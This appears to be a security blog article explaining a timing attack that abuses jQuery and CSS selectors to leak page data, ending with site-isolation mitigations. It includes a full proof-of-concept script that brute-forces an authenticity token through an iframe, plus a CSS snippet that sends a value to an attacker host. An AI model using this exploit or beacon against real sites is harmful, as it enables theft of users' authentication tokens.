Acquiring Data with CSS Selectors and Javascript on Time Based Attacks

jQuery is a JavaScript library that was released in August 2006 with the motto: 'write less, do more'. jQuery simplifies the process of writing code in JavaScript by making the element selectors, event chaining and handling easier. It’s safe to say that since the release of jQuery, a large number of client-based libraries have a defacto dependency on jQuery. In this article, we discuss the research on jQuery selectors and how they can be used as an attack vector in order for hackers to acquire data.

First, we should note that the same method is possible with document.querySelector and CSS selectors. However, since the research we’re quoting on this article has a proof of concept on jQuery, we’re giving the details of this attack on jQuery selectors.

Examples of What You Can Do With jQuery Selectors

There are various uses for jQuery selectors. jQuery selectors help you call one or more HTML elements, classes, IDs, attribute values, and element indexes. For example, with this jQuery selector, you can choose the element with the 'username' ID:

$("#username")

or

jQuery("#username)

Similarly, you can use the related class value instead of the ID when you’re selecting an element. This code chooses all the elements with the formItem class:

$(".formItem")

or

jQuery(".formItem")

It is also possible to make a selection using element attributes in jQuery. For example, we can choose all the inputs that have their type set as 'password' with this code:

jQuery("input[type='password']")

jQuery makes it possible to use multiple selectors at once. For instance, we can use this selector to choose all the elements that have their type set as 'text', and are of the formElement class:

jQuery(".formElement[type='text']")

jQuery also allows the use of startWith and contains operators as attribute selectors. For example the input[value^='x'] selector will choose all the inputs whose value begins with 'x'.

jQuery(location.hash)

Using URLs, we can let the web know what we’re requesting, where we’re requesting it from, as well as the relevant privileges.

The fragment (also known as the anchor) of the URL is the part that comes after the hash (#). The HTML element that carries the fragment ID has the ability to scroll on the page. When a request is made to the URL below, the page will scroll down to the appropriate fragment corresponding to the the ID attribute.

https://www.example.com/#contactForm

Example of a Timing Attack Using Multiple jQuery Selectors

We've stated that it is possible to use more than one jQuery selector at once. Now we’ll share a wonderful trick.

If you execute the following code on your browser’s console (Ctrl-Shift-K or Ctrl-Shift-J), you’ll see that it produces a delayed result:

$("*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) body")

Now execute the following code:

$("*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) body[noAttribute='noExist']")

Since the page doesn’t have an element with a noAttribute attribute as 'noExist', the command will result without a delay. Why did the first command take so long but the second one happened immediately?

Evaluation of Element Selectors From Right to Left

This is when the trick with the selectors comes into play. Since the element selectors are evaluated from right to left, the selector dismissed the rest of the command when it realized that the page didn’t have a body element that matched the noAttribute attribute with a 'noExist' value.

Why do browsers behave this way? We can reply to this with a quote from CSS Trick from Stack Overflow:

… in the situation the browser is looking at most of the selectors it's considering don't match the element in question. So the problem becomes one of deciding that a selector doesn't match as fast as possible; if that requires a bit of extra work in the cases that do match you still win due to all the work you save in the cases that don't match.

The browser visits all the DOM elements after you execute the selector command. If it begins to visit each element from left to right, it would search for all input elements, then it would have to control whether the remaining elements had the formItem class or not.

However, if the comparison process is carried out from right to left, it would only take those elements that have the formItem class, and afterwards choose only those that have the input type. Since the defining selector is the final one, the right-to-left comparison process would be much faster. Considering this, we can acquire data from webpages using time-based attacks.

The Difference between Timing Attacks and Boolean Based Attacks

Hackers can extract data from a server by using CSS selectors with the Boolean-based method. In this way, they can request resources from a server under their control. However, there was the obligation for the element to support CSS attributes like background/background-image, list-style/list-style-image.

<style>

#username[value="mikeg"] {

background:url("https://attacker.host/mikeg");

}

</style>

<input id="username" value="mikeg" />

An advantage of the method in this article is that it doesn’t have a similar constraint. Using this method, you can use this code to obtain an authentication token:

*:has(:has(:has(*)) :has(*) :has(*)) input[name=authenticity_token][value^='x']

Measuring the Elapsed Time in the Timing Attack

How can we measure the elapsed time, since our attack is time-based? Eduardo Vela, writing in 2014, provides an explanation. He states that we can measure the elapsed time in time-based attacks. In the situations in which the attacker and the victim's websites work on the same thread, the loading that takes a while on the victim website will slow down a process on the attacker’s website, allowing the attacker to measure the elapsed time.

Details of The Timing Attack Exploit

The attacker loads the victim website within an iframe. He specifies a function that will work later (callback) using the setTimeout function. He then makes a request on the victim's website using the hash selector. Since the result of the hashchange handler will take time, callback will be delayed, and this will be measured by the window.performance.now function:

<script>

const WAIT_TIME = 6;

const VICTIM_URL = "https://labs.sheddow.xyz/fsf.html";



const wait = ms => new Promise(resolve => setTimeout(resolve, ms));



function get_execution_time(selector) {

var t0 = window.performance.now();



var p = wait(WAIT_TIME).then(_ => Promise.resolve(measure_time(t0)))



window.frames[0].location = VICTIM_URL + "#x," + encodeURIComponent(selector) + ","+Math.random();



return p;

}



function measure_time(t0) {

var t = window.performance.now() - t0;

return t;

}





const SLOW_SELECTOR = "*:has(*:has(*) *:has(*) *:has(*) *:has(*))";

const SELECTOR_TEMPLATE = "input[name=authenticity_token][value^='{}']";



async function binary_search(prefix, characters) {

console.log("Testing '" + characters + "'");

if (characters.length == 1) {

return characters[0];

}



var mid = Math.floor(characters.length/2);

var s1 = make_selector(prefix, characters.slice(0, mid));

var s2 = make_selector(prefix, characters.slice(mid, characters.length));



var t1 = await get_execution_time(s1);

var t2 = await get_execution_time(s2);



if (approximately_equal(t1, t2)) {

return null;

}

else if (t1 < t2) {

return binary_search(prefix, characters.slice(mid, characters.length));

}

else {

return binary_search(prefix, characters.slice(0, mid));

}

}



function make_selector(prefix, characters) {

return characters

.split("")

.map(c => SLOW_SELECTOR + " " + SELECTOR_TEMPLATE.replace("{}", prefix + c))

.join(",");

}



function approximately_equal(t1, t2) {

var diff = Math.abs(t1 - t2);

return diff <= 0.2*t1 || diff <= 0.2*t2;

}



const BASE64_CHARS = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/";

const TOKEN_LENGTH = 43;



async function bruteforce_token() {

var backtracks = 0;

var t0 = window.performance.now();

var misses = 0;

var token = "";

while (token.length < TOKEN_LENGTH) {

var c = await binary_search(token, BASE64_CHARS);

if (c === null) {

misses++;

if (misses == 3) {

token = token.slice(0, -1); // Backtrack

backtracks++;

}

}

else {

token += c;

misses = 0;

}

document.getElementById("token").innerHTML = token;

document.getElementById("percent").innerHTML = Math.round(100*token.length/TOKEN_LENGTH) + "%";

}

token += "=";

document.getElementById("token").innerHTML = token;

var elapsed = window.performance.now() - t0;

return {token, elapsed, backtracks};

}



window.onload = function() {

if (location.search === "?attack") {

bruteforce_token().then(({token, elapsed, backtracks}) => {

wait(0).then(_ => alert("Found " + token + " in " + elapsed/1000 + " seconds with " + backtracks + " backtracks"));

});

}

}

</script>





<body>

<iframe src="https://labs.sheddow.xyz/fsf.html"></iframe>

<div class="box" id="token"></div>

<div class="box" id="percent"></div>

</body>

Preventing the Time Based Attack

This attack used iframe, which may lead some to assume that setting the X-Frame-Options header will prevent the website from loading in an iframe, and therefore avoid an attack altogether. But this isn’t the case, because the attacker can perform the same operations using window.open and delay callback.

We've already mentioned that the timing attack is possible only if the attacker and the victim's websites work on the same thread. But, what if the websites work on different threads? In that case, you can only block the exploit using site isolation. Site Isolation is a new feature introduced in Chrome 63. It means that websites with different origins are forced to work as separate processes regardless of the tabs or iframes.

Some Final Points on Site Isolation

Site isolation is disabled by default in Chrome 63 and above. You have to visit chrome://flags/#enable-site-per-process to enable site isolation. You must also restart your browser immediately after changing this setting. You can enable site isolation for specific origins, too. You can use the parameter below to do this when you launch Chrome:

--isolate-origins=https://google.com,https://youtube.com

The following site isolation bugs have been confirmed by the vendor:

If site isolation is enabled across all websites, an extra 10-20% of performance overhead is added. The feature may be enabled on certain websites to decrease the overhead.

The iframes that load different origins look blank on the printed HTML page.

In some cases, clicking and scrolling doesn’t work as expected in iframes with different origins.

Headers are Ineffective Against Unique Attack Vectors

In this article, we observed the use of jQuery element selectors and their role in a timing attack that was discovered by Sigurd Kolltveit. We shared the research of Eduardo Velo who blogged about an innovative method of measuring time-based attacks. Sometimes headers aren’t enough against unique attack vectors as discussed, and users have to take additional precautions such as enabling site isolation.

Further Reading

For further information on the research on jQuery selectors and how they can be used as an attack vector to acquire data, see sheddow's blog post, A timing attack with CSS selectors and Javascript.